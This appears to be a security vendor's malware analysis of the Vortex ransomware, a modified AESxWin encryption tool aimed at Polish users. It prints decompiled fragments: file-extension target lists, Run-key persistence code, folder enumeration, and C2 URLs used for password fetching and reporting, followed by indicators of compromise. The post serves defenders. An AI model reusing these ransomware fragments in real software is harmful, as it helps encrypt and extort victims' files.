Earlier this year, we witnessed a new ransomware variant, Vortex, evolve from a previous strain, Polski. The most recent strain was developed using a freeware encryption and decryption tool called AESxWin, which was modified to give Vortex its malicious nature. Both primarily target Polish users.
Vortex has some very unorthodox characteristics, so let’s take a closer look.
Delivery
Vortex is not spread through the usual spam email campaigns, instead its authors prefer to use RAT (Remote Access Trojans) as the delivery tool. The specific agent downloaders were JS/VJworm (JavaScript) variants.
Figure 1 – Delivery representation
Infection
Static analysis:
MD5: 91A07550E5CA2C977F50406F07126AC8
Figure 1 Version information
The version information lists AESxWin as both the product name and original file name. AESxWin is a free tool available from github and is used for encrypting and decrypting files. The image below shows that even the file’s icon is the same:
Figure 2 – File Icons
Both files are compiled with dotnet compiler and the target framework is .net 4.5.
Code analysis (comparing AESxWin file and Vortex ransomware file)
The below image illustrates some of the differences between the legitimate AESxWin file and the Vortex ransomware – the upper portion contains the legitimate file, and the ransomware lies in the lower.
Figure 3 – Comparison
The malicious, modified version contains extra routines like AESxWinAuto, Form1, pro and Reg. Examining these routines illustrates the behaviours of the ransomware variant:
AESxWinAuto:
public class AESxWinAuto : Form { public static string[] image_ext = new string[] public static string[] video_ext = new string[] public static string[] audio_ext = new string[] public static string[] document_ext = new string[] public static string[] compressed_ext = new string[] public static string[] code_ext = new string[ |
Each of these strings can be expanded, showing the targeted file format. For image_ext, we found the following extensions:
.jpg,.jpeg,.png,.gif,.bmp,.groups,.hdd,.hpp,.m2ts,.m4p,.mpeg,.ndf,.nvram,.ogg,.ost,.pab, .pdb,.pif,.qed,.qcow,.qcow2,.rvt,.st7,.stm,.vbox,.vdi,.vhd,.vhdx,.vmdk,.vmsd,.vmx,.vmxf, .3fr, .3pr,.ab4,.accde,.accdr,.accdt,.ach,.acr,.adb,.ads,.agdl,.ait,.apj,.asm,.awg,.back,.backup, .backupdb,.bay,.bdb,.bgt,.bik,.bpw,.cdr3,.cdr4,.cdr5,.cdr6,.cdrw,.ce1,.ce2,.cib,.craw,.crw, .csh,.csl,.db_journal,.dc2,.dcs,.ddoc,.ddrw,.der,.des,.dgc,.djvu,.dng,.drf,.dxg,.eml,.erbsql, .erf,.exf,.ffd,.fh,.fhd,.gray,.grey,.gry,.hbk,.ibd,.ibz,.iiq,.incpas,.jpe,.kc2,.kdbx,.kdc,.kpdx,.lua, .mdc,.mef,.mfw,.mmw,.mny,.mrw,.myd,.ndd,.nef,.nk2,.nop,.nrw,.ns2,.ns3,.ns4,.nwb,.nx2, .nxl,.nyf,.odb,.odf,.odg,.odm,.orf,.otg,.oth,.otp,.ots,.ott,.p12,.p7b,.p7c,.pdd,.pem,.plus_muhd, .plc,.pot,.pptx,.psafe3,.py,.qba,.qbr,.qbw,.qbx,.qby,.raf,.rat,.raw,.rdb,.rwl,.rwz,.s3db,.sd0,.sda, .sdf,.sqlite,.sqlite3,.sqlitedb,.sr2,.srf,.srw,.st5,.st8,.std,.sti,.stw,.stx,.sxd,.sxg,.sxi,.sxm,.tex, .wallet,.wb2,.wpd,.x11,.x3f,.xis,.ycbcra,.yuv,.contact,.dbx,.doc,.docx,.jnt,.msg,.oab,.ods,.pdf, .pps,.ppsm,.ppt,.pptm,.prf,.pst,.rar,.rtf,.wab,.xls,.xlsx,.xml,.zip,.1cd,.3ds,.3g2,.3gp,.7z,.7zip, .accdb,.aoi,.asf,.asp,.aspx,.asx,.avi,.bak,.cer,.cfg,.class,.config,.css,.csv,.db,.dds,.dwg,.dxf, .flf,.flv,.html,.idx,.js,.key,.kwm,.laccdb,.ldf,.lit,.m3u,.mbx,.md,.mdf,.mid,.mlb,.mov,.mp4,.mpg ,.obj,.odt,.ods,.odp,.pages,.php,.psd,.pwm,.rm,.safe,.sav,.save,.sql,.srt,.swf,.thm,.vob,.wav, .wma,.wmv,.xlsb3dm,.aac,.ai,.arw,.c,.cdr,.cls,.cpi,.cpp,.cs,.db3,.docm,.dot,.dotm,.dotx,.drw, .dxb,.eps,.fla,.flac,.fxg,.java,.m,.m4v,.max,.mdb,.pcd,.pct,.pl,.potm,.potx,.ppam,.ppsm,.ppsx, .pptm,.ps,.r3d,.rw2,.sldm,.sldx,.svg,.tga,.wps,.xla,.xlam,.xlm,.xlr,.xlsm,.xlt,.xltm,.xltx,.xlw,.act, .adp,.al,.bkp,.blend,.cdf,.cdx,.cgm,.cr2,.crt,.dac,.dbf,.dcr,.ddd,.design,.dtd,.fdb,.fff,.fpx,.h,.iif, .indd,.jpeg,.mos,.nd,.nsd,.nsf,.nsg,.nsh,.odc,.odp,.oil,.pas,.pat,.pef,.pfx,.ptx,.qbb,.qbm,.sas7bdat, .say,.st4,.st6,.stc,.sxc,.sxw,.tlg,.wad,.xlk,.aiff,.bin,.cmt,.dat,.dit,.edb,.flvv,.ntx,.xsd,.pem,.xsd,.xsl, .ewd,.dbt,.ob,.gofin,.dsf,.ds4,.shx,.ath,.bac,.ts,.dst,.dwfx |
For video_ext, we found the following target extensions for video files:
.avi,.flv,.mov,.mp4,.mpg,.rm,.rmvb,.mkv,.swf,.vob,.wmv,.3g2,.3gp,.asf,.ogv |
For audio_ext, we found the following target extensions for audio files:
.mp3,.wav,.acc,.ogg,.amr,.wma |
For document_ext, we found the following target extensions for document files:
.pdf,.txt,.rtf,.doc,.docx,.ppt,.pptx,.xls,.xlsx |
For compressed_ext, we found the following target extensions for compressed folders:
.zip,.rar,.7z,.tar,.gzip |
For code_ext we found the following target extensions for scripts and web page files:
.cs,.vb,.java,.py,.rb,.cpp,.html,.css,.js |
We then found a startup entry registry function:
public bool IsStartup { get{ RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run”, true); return registryKey.GetValue(Assembly.GetExecutingAssembly().GetName().Name) != null; }set { Reg.RegisterInStartup(value, Application.ExecutablePath); } |
This code includes an autostart entry to give the malware persistence. The ‘Get’ function notes the registry key name and looks for its presence. The ‘Set’ function appends another class, ‘Reg’, which registers the malware file location in the value entry. We then checked the ‘Reg’ class:
public static string Read(string KeyName) public static bool Write(string KeyName, object Value) public static void RegisterInStartup(bool isChecked, string executablePath) |
The above three strings can be expanded, but we’ll just focus on the important points.
String Read(string KeyName) looks for the currentuser key in the registry and further seeks the subkey “SOFTWARE\\AESxWin”. Bool Write (string KeyName, object Value), creates the subkey “SOFTWARE\\AESxWin”, if the String Read function fails to find its subkey.
RegisterInStartup does the autostart work by adding the malware’s physical location to the value of the ‘Run’ registry entry. This is the Reg class’ primary function.
Other interesting functions
There are other interesting functions and codes to be examined. The following code ignores listed paths (locations) in the system.
private void InitIgnoredPaths() { this.IgnoredPaths = new List(); this.IgnoredPaths.Add(Path.GetDirectoryName(Application.ExecutablePath)); this.IgnoredPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); this.IgnoredPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); this.IgnoredPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)); this.IgnoredPaths.Add(“C:\\Program Files\\Common Files”); } |
The paths Vortex ignores are Application Data and Common Files. It is clear this variant wants to focus on specific locations and ignores those without important documents.
DriveInfo[] drives = FilesHelper.GetDrives(); Guid computerId = this.ComputerId; this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Personal)); this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Recent)); this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures)); … this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonMusic)); this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonVideos)); this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory)); DriveInfo[] array = drives; for (int i = 0; i < array.Length; i++) { DriveInfo driveInfo = array[i]; this.StartPaths.Add(driveInfo.RootDirectory.Name); } |
This code looks for documents, pictures, videos and recent files – all of which are important locations for any user.
bool enabled = this.btnStartAutoEncrypt.Enabled; |
Auto encrypt is then enabled, started by the button:
btnStartAutoEncrypt_Click(object sender, EventArgs e) |
After the encryption, the ransomware appends the “.ZABLOKOWANE” extension at the end of all encrypted files. A log of these encrypted files is stored in a .log file in the folder:
C:\ProgramData\Keyboard\
The following code refers to the logging details and the above-mentioned location.
AESxWinAuto.LogPath = “C:\\ProgramData\\Keyboard”;
bool flag = !Directory.Exists(AESxWinAuto.LogPath);
if (flag)
{
Directory.CreateDirectory(AESxWinAuto.LogPath);
}
In the log file, we found the string format:
Log.WriteLog(AESxWinAuto.LogPath, string.Format(“Zaszyfrowano: {0} | {1} Hasło= {2}”, Path.GetFileName(text), text, (currentPassword.Length > 3) ? currentPassword.Substring(0, 4) : currentPassword)); string directoryName = Path.GetDirectoryName(text); bool flag4 = !StatusFile.StatusFileExist(directoryName, “### – ODZYSKAJ SWOJE DANE – ###.TXT”); |
Command and Control
C2: https://asuspl.ml/widwdp/
C2: https://taniepilapl/mij/
Vortex gathers the victim’s IP address with the public api: “api.ipify.org”
@6002b94: ldloc.0 @6002b95: ldstr ;Aby Odzyska Pliki Skontaktuj Si Z Nami Pod Adresem: 3nigma@0.pl Lub 3nigma@firemail.cc @6002b96: callvirt 0A00013A ;System.Text.StringBuilder::AppendLine |
We found the email address information in the above code. Password generation looks as though it’s done with the help of an api – see the following code:
@6002a22: stsfld System.Int32 AESxWin.Helpers.PasswordAPICurrentIndex @6002a23: ldc.i4.2 @6002a24: newarr System.Uri @6002a25: dup @6002a26: ldc.i4.0 @6002a27: ldstr ;https://asuspl.ml/pass/ |
The site – asuspl.ml/pass – is used for a password generating api, similar to how api.ipify is used to gather the infected user’s IP address.
@6002b2c: ldc.i4.1 @6002b2d: ldstr ;https://taniepilapl/mij/ @6002b2e: stelem.ref @6002b2f: stsfld System.String[] AESxWin.Helpers.SendAPIUrls |
The above shows command and control details inside the code.
IOC details
Url:
Asuspl.ml/pass
Api.ipify.org
taniepilapl/mij
Email address:
3nigma@firemail.cc
3nigma@0.pl
File name:
The file name ‘AESxWin.exe’ is in a grey area in this case, because of the freeware encryption tool.
Registry:
SOFTWARE\\AESxWin
Run registry entry with value as AESxWin and physical location of the target file.
Extension: .ZABLOKOWANE
PDB: C:\c1\AESxWin-master\AESxWin-master\AESxWin\obj\Debug\AESxWin.pdb
Conclusion
While this ransomware variant was clearly written with only Polish victims in mind, it goes to show how clever malware authors can be. Not only does Vortex use unorthodox propagation methods, it also piggy backs off the hard work of a legitimate software developer.
Currently this ransomware will not infect Windows XP users, because it requires .Net framework 4.5 or higher to run, similar to the freeware tool. Later Windows versions with .Net framework 4.5 can allow the ransomware to execute and infect the system.